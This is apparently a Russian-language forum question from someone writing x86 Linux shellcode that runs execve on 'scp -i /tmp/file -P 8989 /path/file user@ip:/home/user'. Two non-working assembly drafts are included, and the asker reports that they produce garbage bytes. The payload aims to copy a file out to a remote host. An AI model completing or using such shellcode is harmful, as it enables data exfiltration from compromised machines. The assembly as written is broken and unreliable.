Я хочу написать шелл-код, который выполняет sys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)
.
Это полная команда:scp -i /tmp/file -P 8989 /path/file user@ip:/home/user
Проблема в том, что мне нужно много регистра (после scp 6 токенов):
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push /tmp/file
???
push edx
push -i
???
push edx
push /usr/bin/scp
mov ebx,esp
Я попытался нажать регистры следующим образом:
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push edi
push esi
push ecx
push eax
mov ecx,esp
push edx
push /tmp/file
mov edi,esp
push edx
push -i
mov esi,esp
push edx
push /usr/bin/scp
mov ebx,esp
push edx
push ecx
push edi
push esi
push ebx
mov ecx,esp
int 0x80
Но с помощью gdb и libemu я увидел, что они производят только мусорные байты.
Любые подсказки о том, как решить эту проблему?